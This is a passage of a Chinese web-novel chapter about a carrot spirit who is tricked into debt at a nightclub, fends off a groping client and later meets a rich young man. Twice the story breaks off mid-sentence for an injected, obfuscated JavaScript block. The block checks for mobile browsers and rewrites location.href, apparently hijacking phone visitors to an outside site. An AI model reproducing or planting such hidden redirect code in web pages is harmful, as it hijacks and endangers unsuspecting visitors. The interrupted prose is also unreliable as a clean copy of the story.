他以前在学校里就是这样,学习不太好,脑子不算灵光,但学习态度永远是班里最好的那个。 每天第一个到教室,会把黑板擦得干干净净,讲台收拾得整整齐齐,笔记记得比谁都认真工整,可考试分数总是在及格线上艰难徘徊。 这行其实也真不需要太多培训。 杨经理说有眼色就行。 得能看出客人是来买醉的,还是来谈事的,是想热闹的,还是想安静,什么时候该递酒,什么时候该递话筒,什么时候该安静如鸡地当个花瓶,什么时候又该妙语连珠地调节气氛。 剩下的就是一张过得去的脸,和足够放得开的性子。 于是在观摩了其他少爷一天的工作流程之后,迟萝禧这个优等生,就被杨经理迫不及待地推上了考场,他有了第一个正式的班。 迟萝禧接到通知时,整个人都是懵的。临时抱佛脚,可这佛脚往哪儿抱,他都不知道。 他只好又把那张皱巴巴的笔记拿出来,躲在更衣室的角落,对着那些鬼画符一样的酒名和价格,一遍遍地默念。 更衣室里人声嘈杂,充斥着香水,发胶和烟草的混合气味。 其他少爷们一边换衣服,一边聊天吹牛。 话题很快转到了春晖会所的头牌们身上。 “今晚帝豪那间,听说订了Luke。”有人一边往头发上喷发胶一边说,语气里带着点羡慕。 “Luke哥啊,正常。人家现在是咱这儿真正的台柱子,订台数这个月又是第一吧?啧啧,那脸,那身材,据说还是混血?怪不得那些富婆姐姐们砸钱眼都不眨。” “混血?呵。”靠在衣柜边的白曼突然冷笑一声,声音不高,但带着明显的讥诮,他正对着镜子调整自己紧身上衣的领口,“东北混西北的还差不多。装得跟二五八万似的,不就是会来事儿,会哄那些老女人开心么,装货一个。” 更衣室里瞬间安静了一下,随即响起几声压低的笑,和几声不赞同的“啧”。 没人接白曼的话,但也没人反驳。 在这个环境里,嫉妒,攀比,背后嚼舌根,是再正常不过的调味剂。 迟萝禧低着头,假装专心看笔记,耳朵却把那些话一字不落地听了进去。 他心里那点因为要上班了而产生的紧张,混进了一丝更复杂让他隐隐觉得不太舒服的东西。 人的三观毕竟是在环境里泡出来的。 虽然才来了没几天,但耳濡目染之下,迟萝禧已经模模糊糊地感觉到,这里和他从小长大的那个山清水秀,人情朴实的小山村,是两个完全不同的世界。 在这里,美貌,年轻,甚至身体和尊严,似乎都可以明码标价,用来交换一些他以前想都不敢想的东西。 所有人都默认了这套规则,甚至以此为荣,乐在其中。 这不对。 迟萝禧心里有个小小的声音在说。 可具体哪里不对,他又说不上来。 爷爷只告诉他要学做人,要好好活,没教过他面对这些该怎么办。 他看着镜子里陌生的自己,头发被吹出蓬松的造型,脸上打了薄薄的粉底,嘴唇也点了颜色,身上穿着会所统一剪裁合体的黑色制服,衬得他皮肤更白,腰身更细。 镜子里的少年眉眼精致,却眼神茫然。 紧张的时候看一眼葫芦娃吧,能让他那颗在会所喧嚣和浮华中变得有些惶惑的心,得到一点点短暂的净化,他称之为灵魂护眼。 一边护眼,一边还得苦背那些洋文酒水。 白曼有一次撞见,简直无法理解,问迟萝禧背这些玩意儿到底图什么,客人又不会真的考你。 迟萝禧没解释,只是抿了抿唇,继续低头看那些蝌蚪一样的字母,他也有他自己山里人的自尊。 他英文很差,只认得二十六个字母。 这些酒,叫什么“拉菲”,什么“黑桃A”,什么“唐培里侬”,名字又长又拗口,还都是外国字。 他不想在别人面前,连酒名都念不出来。 结果迟萝禧第一次正式亮相,就的确惊艳了当晚的场子。 杨经理口中的器重,把他推上了一个对他而言过于“高端”的局。 那是一个中年男人的聚会,清一色的成功人士模样,肚腩微凸,西装革履,言谈间带着久居人上的的腔调和油腻。 为了配得上这些客人的身份,杨经理把会所里当前最红的几个头牌,包括那个被白曼嗤之以鼻的Luke,全都派了过去。 迟萝禧这个新人被塞在一堆经验丰富,长袖善舞的头牌中间,像一颗误入牡丹丛中带着露水的小青菜,清新是清新,却也局促得可怜。 进包厢前,杨经理特意把他拉到一边,快速交代:“今晚的都是贵客,资源好得很,我这是看重你才让你来。别紧张自然点,多笑笑,对,笑得甜一点,灿烂一点,客人看了就高兴。不用你说太多话,机灵点,看着Luke,Mana他们怎么做的,学着点。放心,有他们在,场面冷不了。” 白曼帮迟萝禧取的英文名是LuLu。 杨经理眼神里带着暗示和鼓励:“规矩你知道的,可以加客人联系方式,这都是你的人脉,以后订台都算你的个人业绩,好好表现,机会难得。” 迟萝禧被包厢里震耳欲聋的音乐,缭绕的烟雾,混合了昂贵香水,雪茄和酒精令人微醺又窒息的气息包裹着。 耳边是Luke他们游刃有余带着磁性的谈笑和敬酒声。 他努力想挤出杨经理要求的灿烂笑容,可嘴角僵硬,眼神躲闪,手脚都不知道该往哪儿放。 他学着别人的样子,给客人倒酒,手指却抖得差点把酒洒出来。 客人让他喝,他咬着牙一口闷下去,辛辣的液体烧得他喉咙发痛,胃里翻江倒海。 他看着Luke自然地坐到一位看起来最有权势的客人身边,手臂虚虚地搭在对方沙发靠背上,低头说着什么,引得对方哈哈大笑。 白曼正举着酒杯,和一个客人玩着骰子,输了就娇笑着罚酒,赢了就软绵绵地往对方身上靠,讨要奖励。 所有人都很自然很投入。 只有他像个误入异世界的木偶,脑子里在想那些背了无数遍,此刻却一个都想不起来的洋文酒名。 结果就是那个点了迟萝禧,让他坐到自己身边的中年男人,手脚开始不太老实了。 起初那人只是觉得迟萝禧长得实在扎眼,在昏暗迷离的灯光下,那脸干净得像是误入泥潭的白玉,带着一种与周遭环境格格不入怯生生的漂亮。 他起了逗弄的心态,找迟萝禧搭话,问他是哪儿人,多大了,以前做什么的。 迟萝禧紧张得手心冒汗,回答得结结巴巴,词不达意。 偶尔蹦出几个带着山音的词语,在那张过分好看的脸的映衬下,这种小家子气和笨拙,非但不惹人厌,反而被曲解成了一种令人心痒的害羞和纯情。 男人似乎很满意,眼神里的兴趣更浓了些,又逗着他喝了几杯酒。 迟萝禧不会推酒,让喝就喝,几杯混杂的洋酒下肚,从喉咙到胃里都烧得慌,头也开始发晕,眼前的人和光影都有些晃动。 他努力维持着坐姿,手指抠着沙发粗糙的绒面。 就在这时那只带着劳力士金表,指节粗大的手,从沙发靠背上滑落,径直按在了迟萝禧紧绷的大腿上。 大脑还没来得及反应,身体已经先一步做出了应对,这是面对威胁时的本能防卫机制,即使迟萝禧已经努力学着做人,即使他现在是人形。 但骨子里他还是个胡萝卜精。 “啪!” 一声响亮的脆响。 紧接着是沉重的□□撞击地面的闷响,和一声短促难以置信的痛呼。 迟萝禧都没看清自己是怎么做的。 他只是猛地一甩,那只搭在他腿上的手,连带着手的主人,那个体重至少是他两倍的中年男人,就像一袋不受控制沉重的沙包,被他从沙发上直接甩了出去,侧摔在了冰冷坚硬的大理石地砖上。 酒杯碎裂,酒液和冰块四溅。 整个包厢瞬间安静了。 震耳欲聋的音乐还在继续,但所有人的动作都仿佛被按下了暂停键。 Luke举到一半的酒杯停在半空,正在玩骰子的白曼张大了嘴,其他客人也愕然地转过头,看向声音来源。 迟萝禧第一个反应过来,他脸色煞白,冲到那男人身边,手足无措地去扶他:“先生!先生你没事吧?对不起,我,我不是故意的!我扶您起来……” 他慌乱地抓住男人的一只手臂,想把他拉起来,结果,他刚一用力—— “哎哟!!我艹!手!我的手!” 地上的男人发出一声杀猪般的惨叫。 迟萝禧吓得立刻松手。那只被他抓过的手臂,软绵绵地垂了下去。 脱臼了。 这下事情彻底闹大了。 男人不依不饶,躺在地上就开始嚎,说要报警,要验伤,要让这个小鸭子和这会所吃不了兜着走。 包厢里乱成一团,音乐被关掉,灯光被调亮,其他客人面面相。 杨经理接到消息,头都大了,几乎是踩着高跟鞋一路小跑,带着几个负责安保的负责人赶了过来。 看到眼前这鸡飞狗跳的一幕,尤其是看到地上那个明显是贵客,此刻正疼得龇牙咧嘴,嘴里不干不净骂着的男人,杨经理只觉得眼前一黑。 她强撑着笑脸,一个劲地赔不是,点头哈腰,语气是前所未有的卑微和焦急:“王总!王总您消消气!真是对不住!这是我们新来的,山里刚出来的,不懂事没见过世面,手底下没个轻重,他就是个傻子!您别跟他一般见识!医药费我们全包!全包!还请您高抬贵手……” 男人疼得厉害,又在这么多人面前丢了这么大脸,哪肯轻易罢休,坚持要报警。 杨经理劝不住,只能眼睁睁看着警察来了。 一行人被带到附近的派出所,双方分开做笔录。迟萝禧吓得魂不守舍,但问什么答什么,老老实实。 他说那个王总摸他大腿,他一下子害怕,就……甩了一下。 调取的会所走廊和部分包厢内非隐私区域的监控也显示,确实是迟萝禧突然发力,将王总从沙发上甩了出去,动作快得几乎看不清。 负责问话的警察是个中年大叔,做完笔录,看着眼前这个脸色苍白,眼睛湿漉漉,长得跟小姑娘一样秀气,却一把将一个壮汉甩脱臼的少年,表情是复杂半晌,才憋出一句:“……小伙子,你……劲挺大的啊。” 迟萝禧心里慌得像揣了只兔子。 他不想进警察局,更不想进监狱。 他听村里老人说过,监狱是关坏人的地方,又黑又冷。 迟萝禧不想成为世界上第一个进监狱的萝卜精,那太给萝卜丢脸了,爷爷知道了会气得从土里跳出来。 最后在王总那边律师的协调下,主要是会所这边赔足了钱,姿态也放得足够低,事情以和解告终。 王总不再追究故意伤害,但要求赔偿医疗费,精神损失费等等,杂七杂八加起来,会所这边赔了五万块,才把这事平了。 这五万自然一分不少,全算在了迟萝禧头上。 事后迟萝禧简直被几方轮番审问。 杨经理把他叫到办公室,门一关,脸色是从未有过的难看和烦躁。 她点了一支烟,狠狠吸了一口,烟雾喷在迟萝禧脸上:“迟萝禧,你到底想干什么?啊?我给你吃给你住,给你开那么高的工资,是让你来当大爷的?摸一下怎么了?能少块肉?既然放不下你那点可笑的节操,当初干嘛要签合同进来?你以为这里是幼儿园,陪你过家家呢?” 迟萝禧垂着头,像一株被暴雨打蔫了的小草。 他本来就是话不多的性格,这些天在会所里的无所适从,听不懂的话,看不懂的眼色,背不完的酒名,还有今晚闯下的大祸,欠下的巨债…… 他不知道自己该说什么,也不知道自己还能做什么。 杨经理看他这副油盐不进,沉默是金的样子,更是气不打一处来。 她本以为捡了个大便宜,结果却是请回来一尊碰不得,摸不得,还自带攻击属性的活祖宗,不仅没赚到钱,反而倒贴进去五万,自己还被上头扣了三个月的奖金。 她越想越窝火,挥挥手,像赶苍蝇一样:“滚滚滚,看着你就心烦!” 何佑听说这事,也赶了过来。 他把迟萝禧拉到没人的角落:“小迟,你说你……唉!我都跟你说了,咱们这行,就是吃这碗饭的。客人花了钱,就是来找乐子的,摸摸碰碰,那不是正常的吗?大家都默认的规矩。你既然进了这扇门,签了那合同,哪有回头路可走?再说那些人,是咱们能惹得起的吗?今天这个王总还算好说话的,要是碰上更横的,你这条小命……” 迟萝禧听着,头垂得更低了。 他刚一下山,工资没挣到,反而先欠下了几万块的巨款。 这笔钱在山里够一家人省吃俭用攒好多年。 迟萝禧抬起头,看着何佑:“佑哥,我……我真干不来这个,我……我还是比较适合去工地,我力气大,能搬砖,能扛水泥……” 何佑的脸瞬间就绿了。 这是投资打水漂了。 他像是听到了什么天大的笑话,又像是被迟萝禧这天真到愚蠢的话给气着了。 何佑跟变了个人似的,语气也变得尖锐和不耐烦:“去工地?你以为你现在还能拍拍屁股走人?迟萝禧,你是不是脑子真有问题?你看看你欠了会所多少钱!” 他掰着手指头给迟萝禧算账:“那五万赔偿款只是明面上的,为了让那个姓王的彻底闭嘴,会所又私下给他冲了一次卡,这里外里又是好几万!还有你的违约金,合同上白纸黑字写着,单方面提前解约,要赔多少你自己没看吗?加起来,你算算你现在欠了多少!你以为这里是慈善机构,你想来就来,想走就走?” 何佑本意是想吓唬他,让他认清现实,老老实实接客还债,本来想把手机抢回来的,但是他们都看过迟萝禧把人甩出去的视频,怕被他打。 这番话终于让迟萝禧后知后觉地反应过来,自己好像是被骗了。 从火车站接到他,到高薪的诱惑,到那份他根本看不懂的合同,再到眼前这算不清的欠款…… 天,好像真的塌了。 会所那边,经此一役,也不敢再轻易让迟萝禧去陪客了。 开玩笑这哪是少爷,这分明是个人形兵器,还是自带应激反应的那种。 万一再哪个客人手脚不老实,被他条件反射一下,摔出个好歹,会所可赔不起了。 于是迟萝禧被发配了。 他被安排去各个岗位轮岗还债,去后厨帮工,打扫卫生,仓库搬货,整理酒水,哪里缺人,哪里脏累,就把他往哪里塞。 工资?想都别想,能抵扣一部分欠债就不错了。 迟萝禧一开始是心慌的,也是真的怕。 他怕还不上钱,怕会所的人对他做什么,更怕自己非人的身份暴露。 担惊受怕的,这些天萝卜都不水灵了。 一时感性,这天就在迟萝禧躲在厕所哭哭啼啼的时候,隔间的门忽然被不轻不重地敲了两下。 迟萝禧吓得一哆嗦,连忙用手背胡乱抹脸。 门外传来一个熟悉的声音,带着点不耐烦,是白曼。 “喂,里面的,”白曼的声音隔着门板,有点模糊,还伴随着打火机咔哒一声响,“哭什么哭?至于么?” 迟萝禧不敢吭声。 白曼似乎也没指望他回答。 “你怕什么啊?有什么好怕的?要钱,你没有,要命……他们现在也不敢真把你怎么样,毕竟这是法治社会,你这身手谁知道急了能干什么。” 他弹了弹烟灰:“你就当是在这儿打工还债呗。虽然这工打得是憋屈了点,眼睛放亮一点,耳朵竖起来,在这儿能看到的资源多了去了。找准机会,攒够了,搭上了什么路子,就跳出去呗,这破地方还真当是什么金窝银窝,值得你哭天抢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388058|200293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地的?” 隔间里迟萝禧愣愣地听着白曼的话,眼泪还挂在睫毛上。 迟萝禧伸手,拉开了隔间的门。 迟萝禧脸上泪痕未干,表情懵懂,就那样呆呆地看着门外的白曼。 白曼指尖夹着一支燃了半截的细长香烟,烟雾袅袅升起。他看到迟萝禧这副惨兮兮又蠢兮兮的样子,忍不住朝天翻了个巨大的白眼。 “我说你啊,是不是真傻?白长这么张脸了。我要是有你这张脸,这身段,早就不知道钓了多少个愿意给我花钱的凯子了,还用得着在这儿哭哭啼啼刷盘子?” 他用夹着烟的手指,虚虚点了点迟萝禧:“你没发现吗?他们没真把你怎么样,也没把你赶出去睡大街,就让你在这儿干杂活,冷着你,晾着你,为什么?不就是等着你自己哪天想通了,熬不住了,低头服软,去求他们,然后乖乖听话去接客吗?” 迟萝禧:“……可是我欠着他们一大笔钱呢?” 白曼道:“你一个一穷二白,从山沟沟里爬出来的土包子,要钱没钱,要背景没背景,光脚的不怕穿鞋的,你怕他们干什么?他们比你还怕你出事,你那一甩可把他们都吓出阴影了,把心态放平。就当在这里打工,包吃包住,虽然活儿累点,但饿不死你。” 好心态,决定萝卜的一生。 好身手,决定萝卜的高度。 白曼这番开导,迟萝禧好像有点听懂了。 于是迟萝禧真的开始尝试调整心态,不再整天愁眉苦脸,会所的员工餐虽然不怎么样,但量大管饱,他饭量不小,每次都把盘子刮得干干净净。 打扫卫生的时候,偶尔能捡到客人没动过昂贵的水果拼盘,偷偷吃掉了。 连他工资都不发,他加个餐怎么了。 只要不想着那笔巨债,眼下的生活好像也没那么难熬?有吃有喝,有地方睡,还不用面对那些让他手足无措的客人。 一个月下来,耳濡目染,加上白曼偶尔的提点,迟萝禧已经彻底摸清了会所里那点弯弯绕绕的套路。 谁是真正管事的,谁只是狐假虎威,什么人能惹,什么人要躲着,他心里大致有了本账,而且他们好像真的有点怕他。 杨经理大概是真被他气着了,想敲打他,时不时就在开会或者训话的时候,拿他当反面教材,说他认知水平低,不懂规矩,看不清自己几斤几两。 迟萝禧还在站在少爷的队伍里,幽怨地看了杨经理几眼,别的没进心里,但认知水平低他听进去了。 他以为杨经理是在说他没文化。 山里孩子,对有文化总有种朴素的敬畏和向往。 于是迟萝禧决定学习,提升自己。 他拿着手机,搜索如何提升认知水平。刷了两天,满屏都是他看不懂的鸡汤,看得他头晕眼花,反而更加焦虑。 算了,还是看葫芦娃吧,至少能看懂。 他也渐渐认识了会所里其他的少爷。 除了嘴巴毒但心不算坏,偶尔会塞给他一点零食的白曼,还有那个头牌Luke。 Luke有次碰到他,上下打量了他几眼,对他说:“你这条件真不错,可惜跟会所签了卖身契。不然我有个朋友搞直播公司的,介绍你去包装一下,说不定能红,比在这儿强。” 迟萝禧不太懂直播是什么,但能感觉到Luke没什么恶意。他摇摇头,小声说:“我欠了他们好多钱。” Luke耸耸肩,没再说什么。 日子久了,迟萝禧发现,这些少爷们,虽然平日里在客人面前巧笑倩兮,在经理面前点头哈腰,嘴里说着和会所共存亡,感恩平台之类的场面话,但私底下聚在一起,骂得最凶的也是会所和杨经理。 “真他妈缺德,看人小迟山里来的什么都不懂,哄着人签那种卖身契,不平等条约,违约金高得离谱,还他妈利滚利。” “这跟旧社会卖身给地主老财有什么区别?还现代文明社会呢。” “小迟,你这情况,我看啊,除非找个愿意给你赎身的,不然这辈子都别想脱身。” “赎身?谁钱多得烧的给他赎?除非……” “除非什么?除非找个愿意包养他的老登呗!恶心是恶心点,但捞一笔就跑总好过在这儿卖身一辈子强吧?” “得了吧,那种愿意花钱赎人的老登,有几个好的?要么是家里有母老虎的,拿你当宠物玩几天就扔,要么就是控制欲爆棚的变态,爹味重得能压死人,恨不得你二十四小时随叫随到,把你拴裤腰带上。” “富二代也没好到哪儿去,玩得更花,更不把人当人。” 他们你一言我一语,给迟萝禧出主意,语气是半真半假的调侃,又带着点同病相怜的无奈。 听得多了迟萝禧那颗萝卜心也开始动摇。 难道这真的是他现在唯一的出路了吗?找个愿意给他赎身的人? 他开始下意识地观察进出会所的客人。 杨经理没把他从那个所谓精英工作群里踢出去,迟萝禧每天都能在群里看到各种业绩通告,哪间包厢消费了多少,哪个少爷拿到了多少小费,哪个客人又充值了VIP。 心里没什么波澜。 他也在干活的时候,偷偷留意那些被前呼后拥看起来很有钱的客人。 结果几天观察下来,没一个能入他眼的。 不是入眼,是那些人的气场,让迟萝禧本能地感到不适。 迟萝禧毕竟是个妖精,虽然道行浅灵力微薄,但感知气的能力是与生俱来的。 他能看到普通人身上散发出的气场。 大部分人的气场是混杂灰扑扑的,带着各种欲望和情绪的杂质。 比如之前那个王总,气场浑浊不堪,像一潭发黑发臭的死水。这样的人在他眼里,就是很糟糕的,别说靠近了,多看一眼都觉得难受。 渐渐地迟萝禧就有点灰心了。 他倒是想上进,想找个赎身的出路,可这些人也太难以下咽了。 他宁可在后厨刷盘子,在走廊拖地,也不想靠近那些让他浑身不舒服的气。 迟萝禧甚至在心里做好了最坏的打算:要不就在这里刷二十年碗还债吧? 这天晚上会所依旧喧嚣。 迟萝禧被安排打扫二楼VIP区域的走廊。他拖完地,看了看时间,离下一轮打扫还有一会儿。 他左右张望了一下,发现楼梯拐角通往三楼消防通道的地方,那里是监控死角,平时没人来。 他溜了过去,靠着墙蹲下来,从裤兜里掏出手机,熟练地打开《保卫萝卜》。 保卫萝卜,人人有责。 这个世界要是像游戏里这么爱萝卜就好了。 迟萝禧发现只要不被杨经理抓个正着,其他领班或者保安看到他偷懒,大多也是睁一只眼闭一只眼,懒得管,而且迟萝禧能够感知到有人靠近,溜得飞快。 迟萝禧玩得正投入,手指在屏幕上飞快地滑动,种植炮塔,消灭一波波怪物。 就在这时不远处一扇VIP包厢的门咔哒一声开了。 一个人影从里面走出来,反手带上门,将里面震耳的音乐和呛人的烟味暂时隔绝。 出来的是个年轻男人,穿着剪裁合体的深灰色西装,没打领带,衬衫最上面的两颗扣子解开着,他个子很高,身形挺拔,头发黝黑,脸上没什么表情,眉目间透着烦躁和不耐,眉头微蹙,薄唇紧抿。 贺昂霄是出来透口气的。 他实在受不了里面那帮人了。 一个个要么吞云吐雾,把包厢熏得跟火灾现场似的,要么就搂着少爷小姐动手动脚,嘴里说着自以为幽默实则低俗不堪的段子。 贺昂霄低声自语:“下次再也不出来了,谈生意非得在这谈,一群傻逼,自己肺不要了还拉着别人吸二手烟,感觉生/殖/器都长在大脑皮层上了,随时随地都在发情,跟暴露癖有什么区别。” 他对着走廊墙壁上光可鉴人,能模糊映出人影的金属装饰板,理了理自己因为烦躁而稍微凌乱的额发。 镜面里映出一张无可挑剔,英俊得凌厉的脸,鼻梁高挺,下颌线清晰,一双桃花眼此刻却没什么笑意,只有冷淡。 贺昂霄对着自己的倒影,撇了撇嘴,自恋道:“也就我洁身自好,完美优秀,简直是这污浊人世间硕果仅存的清流,啧,我这样的男人,也是世间少有了。” 如此毫不谦虚,堪称厚颜的自夸话语说完,贺昂霄正打算转身回去应付一下,干脆找借口溜走算了。 突然楼梯口不知何时探出了一个毛茸茸的脑袋。 迟萝禧头发有些凌乱,软软地搭在额前。一张小脸,在昏暗光线下几乎在发光。眼睛很大,手里还捧着个手机,屏幕还有几根跳跃的萝卜。 迟萝禧就想看看嘴这么毒的男人到底长什么样。 他就那样蹲在角落,仰着头,从一堆拖把和水桶后面,悄无声息地长出来一样,猝不及防地撞进了贺昂霄的视线里。 四目相对。 贺昂霄:“…………” 4. 你扫我 贺昂霄盯着楼梯口那个毛茸茸的脑袋看了几秒。 他迈开长腿,朝那个角落走了过去。 他在距离迟萝禧两步远的地方停下,居高临下地看着蹲着,手里捏着手机,仰着一张茫然小脸的迟萝禧。 灯光从贺昂霄身后打来,在他身上投下长长的影子,几乎将迟萝禧完全笼罩。 他微微眯起那双形状漂亮的桃花眼,语气有着淡淡压迫感。 “你刚才……都听见了?” 迟萝禧被他这么盯着,又被他身上那股虽然干净但此刻明显带着不悦的气场笼罩着,本能地感到一丝紧张,脑子里飞快地转着白曼教过的生存法则:在这种地方,看见不该看的,听见不该听的,最好的反应就是——装傻。 于是,他很用力地摇了摇头,表情是十足十的天真和无辜,以及懵懂的眼神,可信度还挺高。 贺昂霄看着他那副傻样子,紧绷的嘴角松动了一下,被偷听产生不快,消散了大半:“你是这里的……” 他一边问,一边目光快速地在迟萝禧身上扫过。 迟萝禧穿着黑色外套,脸上虽然干净,但没什么妆,头发也软软地搭着,怎么看都不像是少爷那一挂的。 迟萝禧觉得面前这个人身上散发出的气,和大多数乌烟瘴气,充斥浑浊欲望的的男男女女,截然不同。 很干净。 让被各种浑浊气息熏得头疼的迟萝禧,难得地感到想靠近。 这段时间,白曼没少给迟萝禧突击培训,教他如何辨别优质男,如何从一堆歪瓜裂枣里,挑出那个有可能赌的金主。 白曼的理论一套一套的。 “穿名牌不重要,地摊货也能仿个九成像。重要的是看名牌穿在哪儿,怎么穿。有些人,为了撑场面,全身就靠那一两件名牌外套,包包硬撑,内搭,鞋子,配饰全是便宜货,一眼假。真正有钱人讲究的是细节,是整体。你看他的表,皮带,领带夹,袖扣,还有眼镜,越是不起眼的小东西,越能看出门道。” “穷人是以大见小,逮着个能显摆的大件就往身上堆,生怕别人看不见。有钱人呢,是以小见大,好东西都藏在细节里,不经意的才是真讲究,懂了吗?” 迟萝禧当时听得云里雾里,但努力理解。 他用自己萝卜精的逻辑想:大概就跟萝卜长大一样。地里肥力不够的时候,萝卜肯定铆足了劲先长个儿,把养分都供给主体,哪有闲心长那些漂亮的缨子和须子? 只有营养过剩了,地肥水美,萝卜才会长得水灵饱满,缨子翠绿舒展,那才叫门面。 白曼:“你记这个,比你背那些破酒名有用多了。要是能一眼认出哪个是真肥羊,说不定你翻身的机会就来了。” 迟萝禧心想再大城市生存原来这么难。 此刻,迟萝禧仰着脑袋,快速地将白曼的理论和眼前的男人对照。 皮鞋,擦得一尘不染,鞋型优雅,看着就高级。西装,剪裁合体,布料挺括,没有一丝褶皱。皮带,扣头闪着暗哑金属光泽的材质。手表盘在袖口下若隐若现,设计简洁,但那种质感,一看就不是凡品。 就两个字,有钱。 而且他身上的气,是迟萝禧在会所这么久以来,见过最舒服的,像雨后的山林,清冽,没有那些浑浊的欲望和戾气。 迟萝禧的心,砰砰跳快了两下。 一个念头钻了出来:这难道就是他命定的救赎者? 机会稍纵即逝。 迟萝禧站起身,拍了拍裤子上的灰,看着贺昂霄,那双黑润的眼睛里,挤出一点他自认为最诚恳的光芒。 “……你,你要点我吗?我会唱歌。他们都说我唱歌很好听,要不我给你哼两句?” 贺昂霄:“……啊?” 他显然没料到这个看起来像保洁小弟的少年,会突然冒出这么一句职业性的推销。 贺昂霄错愕,那双桃花眼上下又打量了迟萝禧一遍,目光可以说有点没礼貌的审视,从迟萝禧有些凌乱的软发,到干净纯欲的脸。 几秒后,贺昂霄像是觉得有点意思,刁难道:“会喝酒吗?” 迟萝禧:“啊?还行。” 他酒量其实还行,毕竟是妖精体质,但上次喝酒闯了大祸,让他对喝酒这件事有点心理阴影。 “咔哒。” 不远处那扇VIP包厢的门,再次被人从里面拉开了。一个穿着花衬衫,头发梳得油光水滑,满脸堆笑的年轻男人探出头来,正是今晚组局的杨洲。他左右张望了一下,一眼就看到了站在走廊里的贺昂霄:“贺总,在那站着干嘛,进来啊。” 贺昂霄对迟萝禧:“我点你了。” 贺昂霄带着一个人进来。 杨洲像是发现了什么新大陆,语气夸张:“哎贺总,我还以为你是找个借口尿遁了呢!原来是出去狩猎去了啊?” 他目光在迟萝禧脸上身上扫了一圈,吹了声口哨,语气更加暧昧:“啧啧,难怪看不上包厢里那些庸脂俗粉,原来这儿还藏着这么个极品?小模样是真不错。” 他一边说,一边很自然地伸手,虚虚揽了一下贺昂霄的肩膀,半推半就地把人往包厢里带,也顺势把迟萝禧挟了进去:“走走走,贺总,既然找到了合眼缘的,那就带进去一起玩嘛!站这儿干嘛?” 迟萝禧还没完全搞清楚状况,就被杨洲和贺昂霄带进了VIP包厢。 门在身后关上,震耳的音乐和混杂的气味瞬间将他包围。 沙发上坐着七八个男男女女,客人只有三四个,其余都是会所的少爷和小姐,一个个妆容精致,衣着光鲜。迟萝禧眼熟的人也在其中,正端着酒杯,和一个中年男人谈笑风生。 迟萝禧有些局促地跟在贺昂霄身后走进来时,包厢里瞬间安静了一瞬。所有的目光,或明或暗,都集中在了他们身上。 尤其是那些少爷小姐们,看到迟萝禧,再看看他身边的贺昂霄,眼神露出了一抹同情。 而贺昂霄的朋友看向迟萝禧也带了点好奇,贺昂霄在这个圈子里是出了名的难搞。长得帅,有钱,家世好,但性子冷淡挑剔,眼光极高,对主动贴上来的男男女女从来不给好脸色,甚至有点毒舌。 之前不是没有不长眼的想往他身边凑,结果都被他不留情面地奚落得下不来台,狼狈收场。 两边都以为接下来恐怕要上演一场惨剧。 傻小子大概会被贺总那张不饶人的嘴损得当场哭出来,贺昂霄会被迟萝禧甩出去。 然而预想中的流血事件并没有发生。 贺昂霄没理会那些目光,径直走到沙发一个相对安静的角落坐下,很自然地松了松领口。迟萝禧像个小尾巴一样,亦步亦趋地跟过去,在离贺昂霄半臂远的地方,小心翼翼地坐下了,背脊挺得笔直,双手放在膝盖上,眼神有点飘忽,不太敢看周围的人。 杨洲也坐回了自己的位置,他身边依偎着一个穿着性感短裙,妆容妩媚的小姐。 那小姐的目光,从迟萝禧进来开始,就若有若无地飘向贺昂霄那边,杨洲注意到了,脸色顿时有点不好看,他用力搂了一下身边人的腰,语气带着点酸溜溜的,半开玩笑的抱怨,声音不大,但足够让附近几个人听见。 “贺总,你这魅力也太大了点吧?咱们包厢的人,目光都快被你和你身边那位小帅哥吸过去了。我这还坐在这儿呢,就被比下去了,可真让人伤心。” 贺昂霄靠在柔软的沙发里,长腿交叠,到杨洲那酸溜溜的话,漫不经心道:“哪里的话,杨总海量,我这点酒量,在您面前可不够看。” 他目光落到了身边坐得笔直,像个听课小学生一样的迟萝禧身上,下巴微微一扬:“这不,我临时找了个救兵。来,别干坐着,替我敬杨总一杯。谢谢杨总今晚的款待。” 迟萝冷不丁被点名,还接到了敬酒的指令。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388059|200293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他抓起面前茶几上一个空着干净的高脚杯,给自己倒了满满一大杯琥珀色的洋酒,转向杨洲的方向:“杨总,我敬您,谢谢款待。” 说完,不等杨洲反应,竟然真的把那满满一大杯烈酒,像喝白开水一样,咕咚咕咚几口,灌了下去。 酒液滚过喉咙,带来熟悉的灼烧感,一路烧到胃里。迟萝禧被辣得微微皱了皱眉,但很快就忍住了,放下杯子,用手背抹了一下嘴角,杯子空了,他脸上也迅速浮起一层薄红,眼睛因为酒精刺激而显得更加水润。 包厢里安静了一瞬,随即响起几声起哄的口哨和低笑。 杨洲也愣了一下,大概没想到这个男孩这么虎,随即大笑起来,拍着手:“可以啊!小兄弟,够爽快!贺总,你这救兵找得不错!” 贺昂霄也挑了挑眉,看着迟萝禧脸颊泛红的样子,挺有意思的。 迟萝禧目光在茶几上扫了一圈,看到了果盘里的水果,朴实的关心:“你吃东西吗?喝酒不吃点东西,胃会难受的。” 这到底是哪里冒出来的神奇宝贝? 迟萝禧见他没不接香瓜,也不在意,很自然地收回手,自己咔嚓咔嚓地嚼着,他侧过身,面对着贺昂霄,跟居委会大妈做调研般一样:“你叫什么名字啊?” 贺昂霄答道:“我姓贺。” “哦,贺先生。”迟萝禧点点头,记下了。 